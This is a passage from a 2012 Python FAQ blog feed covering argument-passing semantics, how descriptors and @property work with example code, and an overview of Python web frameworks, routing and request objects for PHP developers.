<p>As a last resort, you can always put the values into a list (or dict, object, etc.), pass that to the function, have the function mutate the list, then extract the new values on the outside.</p>

<p>That’s gross, though.  Don’t do that.</p>

<h2 id="under-the-hood">Under the hood</h2>

<p>If you must know!  In CPython, every Python value is actually a <code>PyObject*</code>.  So argument passing, assignment, etc. actually act fairly similarly to C, <em>if</em> you wrote C where absolutely everything were a pointer (and there were no double pointers for cheating).</p>

<div class="bogus-wrapper"><notextile><figure class="code"> <div class="highlight"><table><tr><td class="gutter"><pre class="line-numbers"><span class="line-number">1</span>
<span class="line-number">2</span>
<span class="line-number">3</span>
<span class="line-number">4</span>
<span class="line-number">5</span>
<span class="line-number">6</span>
<span class="line-number">7</span>
</pre></td><td class="code"><pre><code class="c"><span class="line"><span class="kt">void</span> <span class="nf">increment</span> <span class="p">(</span><span class="kt">int</span> <span class="o">*</span><span class="n">n</span><span class="p">)</span> <span class="p">{</span>
</span><span class="line">    <span class="kt">int</span> <span class="n">newval</span> <span class="o">=</span> <span class="o">*</span><span class="n">n</span> <span class="o">+</span> <span class="mi">1</span><span class="p">;</span>
</span><span class="line">    <span class="n">n</span> <span class="o">=</span> <span class="o">&amp;</span><span class="n">newval</span><span class="p">;</span>
</span><span class="line"><span class="p">}</span>
</span><span class="line">
</span><span class="line"><span class="kt">int</span> <span class="n">i</span> <span class="o">=</span> <span class="mi">1</span><span class="p">;</span>
</span><span class="line"><span class="n">increment</span><span class="p">(</span><span class="o">&amp;</span><span class="n">i</span><span class="p">);</span>
</span></code></pre></td></tr></table></div></figure></notextile></div>

<p>This is the spiritual equivalent to the Python function above.  (Please ignore the impending segfault.)  Assigning to <code>n</code> naturally does nothing, because only the pointed-to value is shared.  But if that value were something mutable like a list, you could change it in-place.</p>

<p>And this is why “both” is a correct answer as well: you could say that Python is pass-by-value, where the values are pointers…  or you could say Python is pass-by-reference, where the references are copies.  Or you could say it’s “pass-by-pointer”.  But now you’re thinking too hard about it.</p>

<h2 id="conclusion">Conclusion</h2>

<ul>
  <li>Python functions can’t replace what names in the caller refer to.</li>
  <li>Reassigning an argument name won’t do anything useful.</li>
  <li>Python functions <em>can</em> mutate their arguments, if the arguments are mutable.</li>
  <li>Nothing is implicitly copied in Python.</li>
  <li>Stop comparing Python so closely to C++ and you’ll have a much better time.</li>
</ul>

<h2 id="further-reading">Further reading</h2>

<ul>
  <li>The Python documentation isn’t terribly explicit about pass semantics.  The best I can find is the language reference on <a href="http://docs.python.org/reference/expressions.html#calls">calls</a>.</li>
  <li>That <a href="http://python.net/~goodger/projects/pycon/2007/idiomatic/handout.html#other-languages-have-variables">illustration</a> really is pretty cool.</li>
  <li>Pass-by-object is sometimes called pass-by-sharing.  Wikipedia <a href="http://en.wikipedia.org/wiki/Evaluation_strategy#Call_by_sharing">talks about it</a>.</li>
</ul>

]]></content>
  </entry>
  
  <entry>
    <title type="html"><![CDATA[Python FAQ: Descriptors]]></title>
    <link href="http://me.veekun.com/blog/2012/05/23/python-faq-descriptors/"/>
    <updated>2012-05-23T21:16:00-07:00</updated>
    <id>http://me.veekun.com/blog/2012/05/23/python-faq-descriptors</id>
    <content type="html"><![CDATA[<p>Part of my <a href="http://me.veekun.com/blog/2011/07/22/python-faq/">Python FAQ</a>.</p>

<p><strong>How does <code>@property</code> work? Why does it call my <code>__getattr__</code>? What’s a “descriptor”?</strong></p>

<!-- more -->

<p>Python offers several ways to hook into attribute access—that is, there are several ways you can affect what happens when someone does <code>obj.foo</code> to your object.</p>

<p>The most boring behavior is that the object has a <code>foo</code> attribute (perhaps set in <code>__init__</code>), or the class has a <code>foo</code> method or attribute of its own.</p>

<p>If you need total flexibility, there are the magic methods <code>__getattr__</code> and <code>__getattribute__</code>, which can return a value depending on the attribute name.</p>

<p>Somewhere between these two extremes lie <em>descriptors</em>.  A descriptor handles the attribute lookup for a <em>single</em> attribute, but can otherwise run whatever code it wants.</p>

<p><a href="http://docs.python.org/library/functions.html#property">Properties</a> are very simple descriptors.  If you haven’t used them before, they look like this:</p>

<div class="bogus-wrapper"><notextile><figure class="code"> <div class="highlight"><table><tr><td class="gutter"><pre class="line-numbers"><span class="line-number">1</span>
<span class="line-number">2</span>
<span class="line-number">3</span>
<span class="line-number">4</span>
<span class="line-number">5</span>
<span class="line-number">6</span>
<span class="line-number">7</span>
<span class="line-number">8</span>
<span class="line-number">9</span>
<span class="line-number">10</span>
<span class="line-number">11</span>
<span class="line-number">12</span>
<span class="line-number">13</span>
<span class="line-number">14</span>
<span class="line-number">15</span>
<span class="line-number">16</span>
<span class="line-number">17</span>
</pre></td><td class="code"><pre><code class="python"><span class="line"><span class="k">class</span> <span class="nc">Whatever</span><span class="p">(</span><span class="nb">object</span><span class="p">):</span>
</span><span class="line">    <span class="k">def</span> <span class="nf">__init__</span><span class="p">(</span><span class="bp">self</span><span class="p">,</span> <span class="n">n</span><span class="p">):</span>
</span><span class="line">        <span class="bp">self</span><span class="o">.</span><span class="n">n</span> <span class="o">=</span> <span class="n">n</span>
</span><span class="line">
</span><span class="line">    <span class="nd">@property</span>
</span><span class="line">    <span class="k">def</span> <span class="nf">twice_n</span><span class="p">(</span><span class="bp">self</span><span class="p">):</span>
</span><span class="line">        <span class="k">return</span> <span class="bp">self</span><span class="o">.</span><span class="n">n</span> <span class="o">*</span> <span class="mi">2</span>
</span><span class="line">
</span><span class="line">    <span class="nd">@twice_n.setter</span>
</span><span class="line">    <span class="k">def</span> <span class="nf">twice_n</span><span class="p">(</span><span class="bp">self</span><span class="p">,</span> <span class="n">new_n</span><span class="p">):</span>
</span><span class="line">        <span class="bp">self</span><span class="o">.</span><span class="n">n</span> <span class="o">=</span> <span class="n">new_n</span> <span class="o">/</span> <span class="mi">2</span>
</span><span class="line">
</span><span class="line"><span class="n">obj</span> <span class="o">=</span> <span class="n">Whatever</span><span class="p">(</span><span class="mi">2</span><span class="p">)</span>
</span><span class="line"><span class="k">print</span> <span class="n">obj</span><span class="o">.</span><span class="n">n</span>  <span class="c"># 2</span>
</span><span class="line"><span class="k">print</span> <span class="n">obj</span><span class="o">.</span><span class="n">twice_n</span>  <span class="c"># 4</span>
</span><span class="line"><span class="n">obj</span><span class="o">.</span><span class="n">twice_n</span> <span class="o">=</span> <span class="mi">10</span>
</span><span class="line"><span class="k">print</span> <span class="n">obj</span><span class="o">.</span><span class="n">n</span>  <span class="c"># 5</span>
</span></code></pre></td></tr></table></div></figure></notextile></div>

<p>This <em>does some stuff</em> to create a descriptor object named <code>twice_n</code>, which jumps in whenever code tries to use the <code>twice_n</code> attribute of a <code>Whatever</code> object.  In the case of <code>@property</code>, you can then have things that look like plain attributes but act like methods.  But descriptors are a bit more powerful.</p>

<h2 id="how-they-work">How they work</h2>

<p>A descriptor is just an object; there’s nothing inherently special about it.  Like many powerful Python features, they’re surprisingly simple.  To get the descriptor behavior, only three conditions need to be met:</p>

<ol>
  <li>You have a new-style class.</li>
  <li>It has some object as a class attribute.</li>
  <li>That object’s class has the appropriate special descriptor method.</li>
</ol>

<p>Note very carefully that these conditions are in terms of <strong>classes</strong>.  In particular, a descriptor <strong>will not work</strong> if it’s assigned to an <em>object</em> instead of a class, and an object is <strong>not</strong> a descriptor if you assign the <em>object</em> a function named <code>__get__</code>.  Descriptors are all about modifying behavior for classes, <strong>not</strong> individual objects!</p>

<p>Ahem.  So, about those special descriptor methods.  There are three of them, and your object can implement whichever ones it needs.  Assuming this useless setup:</p>

<div class="bogus-wrapper"><notextile><figure class="code"> <div class="highlight"><table><tr><td class="gutter"><pre class="line-numbers"><span class="line-number">1</span>
<span class="line-number">2</span>
<span class="line-number">3</span>
<span class="line-number">4</span>
</pre></td><td class="code"><pre><code class="python"><span class="line"><span class="k">class</span> <span class="nc">OwnerClass</span><span class="p">(</span><span class="nb">object</span><span class="p">):</span>
</span><span class="line">    <span class="n">descriptor</span> <span class="o">=</span> <span class="n">DescriptorClass</span><span class="p">()</span>
</span><span class="line">
</span><span class="line"><span class="n">obj</span> <span class="o">=</span> <span class="n">OwnerClass</span><span class="p">()</span>
</span></code></pre></td></tr></table></div></figure></notextile></div>

<p>You can implement these methods, sometimes called the “descriptor protocol”:</p>

<ul>
  <li>
    <p><code>__get__(self, instance, owner)</code> hooks into reading, for both an object and the class itself.</p>

    <p><code>obj.descriptor</code> will call <code>descriptor.__get__(obj, OwnerClass)</code>.</p>

    <p><code>OwnerClass.descriptor</code> will call <code>descriptor.__get__(None, OwnerClass)</code>.  Here, it’s polite to just return <code>self</code>, so you can still get at the descriptor object like a regular class attribute.</p>
  </li>
  <li>
    <p><code>__set__(self, instance, value)</code> hooks into writing.</p>

    <p><code>obj.descriptor = 5</code> will call <code>descriptor.__set__(obj, 5)</code>.</p>
  </li>
  <li>
    <p><code>__delete__(self, instance)</code> hooks into deletion.</p>

    <p><code>del obj.descriptor</code> will call <code>descriptor.__delete__(obj)</code>.</p>

    <p>Note this is <strong>not</strong> the same as <code>__del__</code>; that’s something different entirely.</p>
  </li>
</ul>

<p>A minor point of confusion here: the descriptor is triggered by touching attributes on <code>obj</code>, but inside these methods, <code>self</code> is the descriptor object itself, <em>not</em> <code>obj</code>.</p>

<p>You can implement any combination of these you like, and whichever you implement will be triggered.  This may or may not be what you want, e.g.: if you only implement <code>__set__</code>, you won’t get a write-only attribute; <code>obj.descriptor</code> will act as normal and produce your descriptor object.</p>

<h2 id="writing-a-descriptor">Writing a descriptor</h2>

<p>Talking about descriptors involves juggling several classes and instances.  Let’s try a simple example, instead: recreating <code>property</code>.</p>

<p>First, the read-only behavior.</p>

<div class="bogus-wrapper"><notextile><figure class="code"> <div class="highlight"><table><tr><td class="gutter"><pre class="line-numbers"><span class="line-number">1</span>
<span class="line-number">2</span>
<span class="line-number">3</span>
<span class="line-number">4</span>
<span class="line-number">5</span>
<span class="line-number">6</span>
<span class="line-number">7</span>
<span class="line-number">8</span>
<span class="line-number">9</span>
<span class="line-number">10</span>
<span class="line-number">11</span>
<span class="line-number">12</span>
<span class="line-number">13</span>
<span class="line-number">14</span>
<span class="line-number">15</span>
<span class="line-number">16</span>
</pre></td><td class="code"><pre><code class="python"><span class="line"><span class="k">class</span> <span class="nc">prop</span><span class="p">(</span><span class="nb">object</span><span class="p">):</span>
</span><span class="line">    <span class="k">def</span> <span class="nf">__init__</span><span class="p">(</span><span class="bp">self</span><span class="p">,</span> <span class="n">get_func</span><span class="p">):</span>
</span><span class="line">        <span class="bp">self</span><span class="o">.</span><span class="n">get_func</span> <span class="o">=</span> <span class="n">get_func</span>
</span><span class="line">
</span><span class="line">    <span class="k">def</span> <span class="nf">__get__</span><span class="p">(</span><span class="bp">self</span><span class="p">,</span> <span class="n">instance</span><span class="p">,</span> <span class="n">owner</span><span class="p">):</span>
</span><span class="line">        <span class="k">if</span> <span class="n">instance</span> <span class="ow">is</span> <span class="bp">None</span><span class="p">:</span>
</span><span class="line">            <span class="k">return</span> <span class="bp">self</span>
</span><span class="line">
</span><span class="line">        <span class="k">return</span> <span class="bp">self</span><span class="o">.</span><span class="n">get_func</span><span class="p">(</span><span class="n">instance</span><span class="p">)</span>
</span><span class="line">
</span><span class="line"><span class="k">class</span> <span class="nc">Demo</span><span class="p">(</span><span class="nb">object</span><span class="p">):</span>
</span><span class="line">    <span class="nd">@prop</span>
</span><span class="line">    <span class="k">def</span> <span class="nf">attribute</span><span class="p">(</span><span class="bp">self</span><span class="p">):</span>
</span><span class="line">        <span class="k">return</span> <span class="mi">133</span>
</span><span class="line">
</span><span class="line"><span class="k">print</span> <span class="n">Demo</span><span class="p">()</span><span class="o">.</span><span class="n">attribute</span>
</span></code></pre></td></tr></table></div></figure></notextile></div>

<p>This code sneaks the descriptor in using a decorator.  Remember that decorators can be rewritten as regular function calls.  The class definition is roughly equivalent to this:</p>

<div class="bogus-wrapper"><notextile><figure class="code"> <div class="highlight"><table><tr><td class="gutter"><pre class="line-numbers"><span class="line-number">1</span>
<span class="line-number">2</span>
<span class="line-number">3</span>
<span class="line-number">4</span>
<span class="line-number">5</span>
</pre></td><td class="code"><pre><code class="python"><span class="line"><span class="k">def</span> <span class="nf">getter</span><span class="p">(</span><span class="bp">self</span><span class="p">):</span>
</span><span class="line">    <span class="k">return</span> <span class="mi">133</span>
</span><span class="line">
</span><span class="line"><span class="k">class</span> <span class="nc">Demo</span><span class="p">(</span><span class="nb">object</span><span class="p">):</span>
</span><span class="line">    <span class="n">attribute</span> <span class="o">=</span> <span class="n">prop</span><span class="p">(</span><span class="n">getter</span><span class="p">)</span>
</span></code></pre></td></tr></table></div></figure></notextile></div>

<p>So the descriptor, <code>attribute</code>, is just an object wrapping a single function.  When code reads from <code>Demo().attribute</code>, the descriptor calls its stored function on the <code>Demo</code> instance and passes along the return value.</p>

<p>(The instance has to be passed in manually because the function isn’t being called as a method.  If you refer to them within a class body directly, methods are just regular functions; they only get method magic added to them at the end of the <code>class</code> block.  It’s complicated.)</p>

<p>With this implementation, code could still do <code>obj.attribute = 3</code> and the descriptor would be shadowed.  Want setter behavior, too?  No problem; add a <code>__set__</code>.</p>

<div class="bogus-wrapper"><notextile><figure class="code"> <div class="highlight"><table><tr><td class="gutter"><pre class="line-numbers"><span class="line-number">1</span>
<span class="line-number">2</span>
<span class="line-number">3</span>
<span class="line-number">4</span>
<span class="line-number">5</span>
<span class="line-number">6</span>
<span class="line-number">7</span>
<span class="line-number">8</span>
<span class="line-number">9</span>
<span class="line-number">10</span>
<span class="line-number">11</span>
<span class="line-number">12</span>
<span class="line-number">13</span>
<span class="line-number">14</span>
<span class="line-number">15</span>
<span class="line-number">16</span>
<span class="line-number">17</span>
<span class="line-number">18</span>
<span class="line-number">19</span>
<span class="line-number">20</span>
<span class="line-number">21</span>
<span class="line-number">22</span>
<span class="line-number">23</span>
<span class="line-number">24</span>
<span class="line-number">25</span>
<span class="line-number">26</span>
<span class="line-number">27</span>
<span class="line-number">28</span>
<span class="line-number">29</span>
<span class="line-number">30</span>
<span class="line-number">31</span>
<span class="line-number">32</span>
<span class="line-number">33</span>
<span class="line-number">34</span>
</pre></td><td class="code"><pre><code class="python"><span class="line"><span class="k">class</span> <span class="nc">prop</span><span class="p">(</span><span class="nb">object</span><span class="p">):</span>
</span><span class="line">    <span class="c"># __init__ and __get__ same as before...</span>
</span><span class="line">
</span><span class="line">    <span class="k">def</span> <span class="nf">__set__</span><span class="p">(</span><span class="bp">self</span><span class="p">,</span> <span class="n">instance</span><span class="p">,</span> <span class="n">value</span><span class="p">):</span>
</span><span class="line">        <span class="bp">self</span><span class="o">.</span><span class="n">set_func</span><span class="p">(</span><span class="n">instance</span><span class="p">,</span> <span class="n">value</span><span class="p">)</span>
</span><span class="line">
</span><span class="line">    <span class="k">def</span> <span class="nf">setter</span><span class="p">(</span><span class="bp">self</span><span class="p">,</span> <span class="n">set_func</span><span class="p">):</span>
</span><span class="line">        <span class="bp">self</span><span class="o">.</span><span class="n">set_func</span> <span class="o">=</span> <span class="n">set_func</span>
</span><span class="line">        <span class="k">return</span> <span class="bp">self</span>
</span><span class="line">
</span><span class="line">    <span class="k">def</span> <span class="nf">set_func</span><span class="p">(</span><span class="bp">self</span><span class="p">,</span> <span class="n">instance</span><span class="p">,</span> <span class="n">value</span><span class="p">):</span>
</span><span class="line">        <span class="k">raise</span> <span class="ne">TypeError</span><span class="p">(</span><span class="s">&quot;can&#39;t set me&quot;</span><span class="p">)</span>
</span><span class="line">
</span><span class="line"><span class="k">class</span> <span class="nc">Demo</span><span class="p">(</span><span class="nb">object</span><span class="p">):</span>
</span><span class="line">    <span class="n">_value</span> <span class="o">=</span> <span class="bp">None</span>
</span><span class="line">
</span><span class="line">    <span class="nd">@prop</span>
</span><span class="line">    <span class="k">def</span> <span class="nf">readwrite</span><span class="p">(</span><span class="bp">self</span><span class="p">):</span>
</span><span class="line">        <span class="k">return</span> <span class="bp">self</span><span class="o">.</span><span class="n">_value</span>
</span><span class="line">
</span><span class="line">    <span class="nd">@readwrite.setter</span>
</span><span class="line">    <span class="k">def</span> <span class="nf">readwrite</span><span class="p">(</span><span class="bp">self</span><span class="p">,</span> <span class="n">value</span><span class="p">):</span>
</span><span class="line">        <span class="bp">self</span><span class="o">.</span><span class="n">_value</span> <span class="o">=</span> <span class="n">value</span>
</span><span class="line">
</span><span class="line">    <span class="nd">@prop</span>
</span><span class="line">    <span class="k">def</span> <span class="nf">readonly</span><span class="p">(</span><span class="bp">self</span><span class="p">):</span>
</span><span class="line">        <span class="k">return</span> <span class="mi">133</span>
</span><span class="line">
</span><span class="line"><span class="n">obj</span> <span class="o">=</span> <span class="n">Demo</span><span class="p">()</span>
</span><span class="line"><span class="k">print</span> <span class="n">obj</span><span class="o">.</span><span class="n">readwrite</span>
</span><span class="line"><span class="n">obj</span><span class="o">.</span><span class="n">readwrite</span> <span class="o">=</span> <span class="s">&#39;foo&#39;</span>
</span><span class="line"><span class="k">print</span> <span class="n">obj</span><span class="o">.</span><span class="n">readwrite</span>
</span><span class="line"><span class="k">print</span> <span class="n">obj</span><span class="o">.</span><span class="n">readonly</span>
</span><span class="line"><span class="n">obj</span><span class="o">.</span><span class="n">readonly</span> <span class="o">=</span> <span class="s">&#39;bar&#39;</span>  <span class="c"># TypeError!</span>
</span></code></pre></td></tr></table></div></figure></notextile></div>

<p>Look at all this crazy stuff going on.  Take it a step at a time.</p>

<p>The new <code>__set__</code> method is pretty much the same as before: it calls a stored function on the given <code>instance</code>.</p>

<p>The <code>setter</code> method makes the <code>@readwrite.setter</code> decoration work.  It stores the function, and then returns itself—remember, it’s a decorator, so whatever it returns will end up assigned to the decorated function’s name, <code>readwrite</code>.  The class definition is equivalent to:</p>

<div class="bogus-wrapper"><notextile><figure class="code"> <div class="highlight"><table><tr><td class="gutter"><pre class="line-numbers"><span class="line-number">1</span>
<span class="line-number">2</span>
<span class="line-number">3</span>
<span class="line-number">4</span>
<span class="line-number">5</span>
<span class="line-number">6</span>
<span class="line-number">7</span>
<span class="line-number">8</span>
<span class="line-number">9</span>
</pre></td><td class="code"><pre><code class="python"><span class="line"><span class="k">def</span> <span class="nf">func1</span><span class="p">(</span><span class="bp">self</span><span class="p">):</span>
</span><span class="line">    <span class="k">return</span> <span class="bp">self</span><span class="o">.</span><span class="n">_value</span>
</span><span class="line">
</span><span class="line"><span class="n">readwrite</span> <span class="o">=</span> <span class="n">prop</span><span class="p">(</span><span class="n">func1</span><span class="p">)</span>
</span><span class="line">
</span><span class="line"><span class="k">def</span> <span class="nf">func2</span><span class="p">(</span><span class="bp">self</span><span class="p">,</span> <span class="n">value</span><span class="p">):</span>
</span><span class="line">    <span class="bp">self</span><span class="o">.</span><span class="n">_value</span> <span class="o">=</span> <span class="n">value</span>
</span><span class="line">
</span><span class="line"><span class="n">readwrite</span> <span class="o">=</span> <span class="n">readwrite</span><span class="o">.</span><span class="n">setter</span><span class="p">(</span><span class="n">func2</span><span class="p">)</span>
</span></code></pre></td></tr></table></div></figure></notextile></div>

<p>Don’t be fooled: it looks like there are two <code>readwrite</code> functions, but the class ends up with a <em>single</em> object that happens to contain two functions.</p>

<p>I include a default setter function, <code>set_func</code>, so that properties are read-only unless the class specifies otherwise.  It’s got three arguments because it’s a regular method: calling it with <code>(instance, value)</code> will tack the descriptor object on as the first argument.</p>

<p>This is most of the way to an exact clone of Python’s builtin <code>property</code> type, and it’s only a handful of very short methods.</p>

<h2 id="potential-uses">Potential uses</h2>

<p>Properties are an obvious use, but they’re built in, so why would you care about descriptors otherwise?</p>

<p>Maybe you wouldn’t.  It’s metaprogramming, after all, so you either know you need it or can’t imagine why you ever would.  I’ve used them a couple times, though, and I’ve seen them in the wild enough.  Some examples:</p>

<ul>
  <li>
    <p>Pyramid includes a nifty decorator-descriptor, <code>@reify</code>.  It acts like <code>@property</code>, except that the function is only ever called once; after that, the value is cached as a regular attribute.  This gives you lazy attribute creation on objects that are meant to be immutable.  It’s handy enough that I’ve wished it were in the standard library more than once.</p>
  </li>
  <li>
    <p>SQLAlchemy’s ORM classes rely heavily on descriptors: <code>SomeTableClass.column == 3</code> is actually using a descriptor that overloads a bunch of operators.</p>
  </li>
  <li>
    <p>If you’re writing a class with a lot of properties that all do similar work, you can write your own descriptor class to factor out the logic, rather than writing a bunch of similar property functions that all call more methods.</p>
  </li>
  <li>
    <p>If you find yourself writing a <code>__getattr__</code> with a huge stack of <code>if</code>s or attribute name parsing or similar, consider writing a descriptor instead.</p>
  </li>
  <li>
    <p>Ever wonder how, exactly, <code>self</code> gets passed to a method call?  Well, methods are just these class attributes that do something special when accessed via an object…  surprise, methods are descriptors!</p>
  </li>
</ul>

<h2 id="descriptors-and-attributeerror">Descriptors and <code>AttributeError</code></h2>

<p>One final gotcha.  A <code>__get__</code> method is allowed to raise an <code>AttributeError</code> if it wants to express that the attribute doesn’t exist.  Python will then fall back to <code>__getattr__</code> as usual.</p>

<p>Consider this, then:</p>

<div class="bogus-wrapper"><notextile><figure class="code"> <div class="highlight"><table><tr><td class="gutter"><pre class="line-numbers"><span class="line-number">1</span>
<span class="line-number">2</span>
<span class="line-number">3</span>
</pre></td><td class="code"><pre><code class="python"><span class="line"><span class="k">def</span> <span class="nf">__get__</span><span class="p">(</span><span class="bp">self</span><span class="p">,</span> <span class="n">instance</span><span class="p">,</span> <span class="n">owner</span><span class="p">):</span>
</span><span class="line">    <span class="n">log</span><span class="o">.</span><span class="n">debg</span><span class="p">(</span><span class="s">&quot;i&#39;m in a descriptor!&quot;</span><span class="p">)</span>
</span><span class="line">    <span class="c"># do stuff...</span>
</span></code></pre></td></tr></table></div></figure></notextile></div>

<p><code>log.debg</code> probably doesn’t exist, so that code will raise an <code>AttributeError</code>…  which Python will take to mean the descriptor is saying <em>it</em> doesn’t exist.  This is probably not what you want.  Be very careful with attribute access inside a descriptor, <em>especially</em> for classes that also implement <code>__getattr__</code>.</p>

<h2 id="conclusion">Conclusion</h2>

<ul>
  <li><code>property</code> is cool.</li>
  <li>Descriptors are cool.</li>
  <li>They aren’t hard to write, if you can keep <code>self</code> and <code>instance</code> straight.</li>
  <li>They only work as class attributes!</li>
</ul>

<h2 id="further-reading">Further reading</h2>

<ul>
  <li>The <a href="http://docs.python.org/reference/datamodel.html#implementing-descriptors">Python documentation</a> on descriptors.  Short, to the point, and totally useless for explaining what these things are.</li>
  <li>The <a href="http://docs.python.org/howto/descriptor.html">Python HowTo</a> on descriptors.  Rather more useful.</li>
  <li>Perhaps also read up on <a href="http://docs.python.org/reference/datamodel.html#customizing-attribute-access"><code>__getattr__</code></a> and <a href="http://docs.python.org/reference/datamodel.html#more-attribute-access-for-new-style-classes"><code>__getattribute__</code></a>.</li>
  <li>The <a href="https://github.com/Pylons/pyramid/blob/master/pyramid/decorator.py">implementation of <code>reify</code></a> is a nice example, and short enough that you may want to just paste it into your own project.</li>
</ul>

]]></content>
  </entry>
  
  <entry>
    <title type="html"><![CDATA[Python FAQ: Webdev]]></title>
    <link href="http://me.veekun.com/blog/2012/05/05/python-faq-webdev/"/>
    <updated>2012-05-05T21:22:00-07:00</updated>
    <id>http://me.veekun.com/blog/2012/05/05/python-faq-webdev</id>
    <content type="html"><![CDATA[<p>Part of my <a href="http://me.veekun.com/blog/2011/07/22/python-faq/">Python FAQ</a>.</p>

<p><strong>I only know PHP.  How do I write a Web application in Python?</strong></p>

<!-- more -->

<p>This is a deeply complex question.  I could easily fill a <em>book</em> on web development and Python and how to make the two interact, so I was hoping to put this one off for a while.  But given that I just <a href="http://me.veekun.com/blog/2012/04/09/php-a-fractal-of-bad-design/">trashed PHP rather harshly</a>, it seems prudent to answer it sooner rather than later.</p>

<p>The dead simple answer is to stop reading here, get <a href="http://flask.pocoo.org/">Flask</a>, and start building a thing.  I prefer a bit more nuance, though.</p>

<p>This <em>is not</em> a tutorial.  I may write one in the future, but for now, plenty of them already exist, and I assume you can read documentation.  Instead, this is an overview of the current state of affairs for someone new to Python web development.</p>

<h2 id="getting-started">Getting started</h2>

<p>Obviously, you’ll need to have Python installed.  Be sure to use Python 2, not 3; Python 3 made some backwards-incompatible changes, and not all libraries have updated yet.</p>

<p>For installing Python libraries, consider <a href="http://www.pip-installer.org/en/latest/index.html"><code>pip</code></a>.  (If you’re on a Unixlike, you can probably get it from your package manager, or with <code>easy_install pip</code>.)  <code>pip</code> is a little package manager for Python; it can easily install, remove, upgrade, and examine Python libraries.  Use your system package manager whenever possible, of course, but use <code>pip</code> for everything else.</p>

<p>You can install Python libraries to your home directory with <code>pip install --user ...</code>, but it’s even better to keep libraries local to each project you work on—that way, you can upgrade dependencies for one project without potentially breaking all the others.  (Or breaking system software written in Python.  I have done this.)  <a href="http://www.virtualenv.org/en/latest/index.html"><code>virtualenv</code></a> helps with this by creating a separate Python installation with a single command.</p>

<p>And, of course, you’re already planning to use source control.  <em>Right?</em>  I like <a href="http://www.git-scm.com/">git</a>, but anything is better than nothing at all.</p>

<h2 id="framework">Framework</h2>

<p>The first hurdle is somehow connecting your code to a browser.  In PHP, the simplest thing is to install Apache and point it at some files.  In Python, as with larger PHP projects, you’ll generally do this with a web framework.</p>

<p>Frameworks all tend to have a similar workflow:</p>

<ol>
  <li>
    <p>Install it, with a tool like <code>pip</code>.</p>
  </li>
  <li>
    <p>Create a skeleton project.</p>

    <p>The complexity of the skeleton varies.  In the now-defunct Pylons, you’d end up with a good chunk of somewhat-mysterious code that you had to manually upgrade for new releases.  Flask is so simple that there <em>is</em> no skeleton.  Somewhere in the middle is Pyramid, where a skeleton project is nothing more than some common boilerplate that you’d end up writing yourself if you started from scratch.</p>
  </li>
  <li>
    <p>Configure some things, like databases.</p>
  </li>
  <li>
    <p>Start up the development server.</p>

    <p>This tends to be a terminal program that runs your app without need for a dedicated HTTP server.  It’ll reload your code when it changes, and spit out stack traces and other debugging information.</p>
  </li>
  <li>
    <p>Hack away!</p>
  </li>
</ol>

<p>What, then, should you use?  There are zillions of options, but a few that are clearly the most popular.</p>

<p>I’m a fan of <a href="http://www.pylonsproject.org/">Pyramid</a>, which hits a sweet spot somewhere between minimalism and batteries-included monolith.  It’s a somewhat recent contender, but it evolved from two older and well-established projects; the result is well-designed, well-documented, and fairly transparent.  A simple app needs no automatic boilerplate at all, there are skeletons to get you up and running, and the core library is overflowing with extension points.  There’s a growing collection of helpful addons, as well.</p>

<p>For an even quicker start, <a href="http://flask.pocoo.org/">Flask</a> is about as simple as it gets, but has plenty of room to grow with crazy amounts of extensibility if you’re willing to build on top of it.  It’s designed to do fairly reasonable things out of the box, without forcing much on you.</p>

<p><a href="http://bottlepy.org/docs/dev/">Bottle</a> is similar to Flask, though arguably even simpler: it’s distributed as a single file and has zero dependencies.  Whether this is good or bad is up to you, but it does mean that nothing in Bottle will be shared with any other framework, ever.  Admittedly I don’t know too much about it, but I gave it a brief shot once and didn’t have any major complaints.</p>

<p>On the other end of the spectrum, <a href="https://www.djangoproject.com/">Django</a> is a massive beast designed for CMS-likes and other content-rich sites.  It has a large ecosystem of pluggable components, built-in everythings from templates to an ORM, and piles of documentation and community resources.  Django is generally cited as the Python equivalent to Ruby on Rails.  The downside is that convincing it to do things it doesn’t want to do can be…  awkward.  (Many of the more obtuse questions in <code>#python</code> are caused by attempts to tinker with Django.)  Possibly a little heavy for a first attempt.</p>

<p><a href="http://www.web2py.com/">web2py</a> exists.  I, er, don’t know much else about it.  Allegedly it injects variables into your modules’ namespaces, and that’s gross, so don’t use it if you care what I think is gross.  Or do.  Whatever.</p>

<p>There used to be a <code>mod_python</code> Apache module that was spiritually similar to <code>mod_perl</code>, but it’s long since been abandoned.  Please <strong>do not</strong> use it.</p>

<p>Lastly, you <em>can</em> write Python web code “manually”, but that’s largely an exercise in frustration.  It’s not faster, it’s not educational, it’s not really very useful.  Don’t bother.</p>

<p>My suggestion?  If you just want to tinker, start with Flask and add on stuff as you go.  If you have an idea for a site in mind and want to hit the ground running, use a Pyramid scaffold and follow along with its narrative documentation.</p>

<h2 id="routing">Routing</h2>

<p>While PHP executes an entire file based on the URL, Python web applications tend to “own” an entire directory structure (or even the entire domain).  Connecting particular URLs to particular code is thus a bit more flexible, and is usually handled by a routing system.</p>

<p>Routes are URLs with optional placeholders, like these:</p>

<pre><code>/users/{name}
/companies/{id}/products
/blog/{year:\d\d\d\d}/{month:\d\d}/{day:\d\d}/{title}
</code></pre>

<p>You’d attach a route like this to a function.  Then when you browse to <code>/users/eevee</code>, that function would be run, and the placeholders would be available in a structure like <code>dict(name=u'eevee')</code>.</p>

<p>Some frameworks (like Pyramid) take this a step further: instead of attaching a route directly to a function, you give the route a <em>name</em>, and then attach the name to the function.  It’s a little extra work, but the advantage is a central list of every page in your app.  You can also use a route name and placeholder values to generate a URL—then, later, you can change a URL in a single place without touching anything else, and a typo in development will cause an error instead of a 404.</p>

<p>The syntax and exact implementation varies a little, but every framework uses some variation of this system.  Some have helpers for creating RESTful routes or other common patterns, or you can easily write your own.</p>

<h2 id="request-cycle">Request cycle</h2>

<p>An HTTP request tends to run a function somewhere (chosen by the router) and pass it a <code>request</code> object.</p>

<p>The request object’s exact interface will depend on the particular framework, but they tend to be similar: parsed query data, cookies, headers, and so forth.  As an example, take <a href="http://docs.webob.org/en/latest/modules/webob.html"><code>webob</code></a>’s <code>Request</code> object, which includes:</p>

<ul>
  <li><code>request.GET</code> and <code>request.POST</code> are “multidicts” of parsed query data.  (A multidict returns a single value for <code>request.GET['foo']</code>, but exposes all values with a <code>getall()</code> method.)</li>
  <li><code>request.params</code> is a multidict combining both of the above.</li>
  <li><code>request.cookies</code> is a parsed dict of cookies.</li>
  <li><code>request.headers</code> is a dict of HTTP request headers, but with the keys treated as case-insensitive.</li>
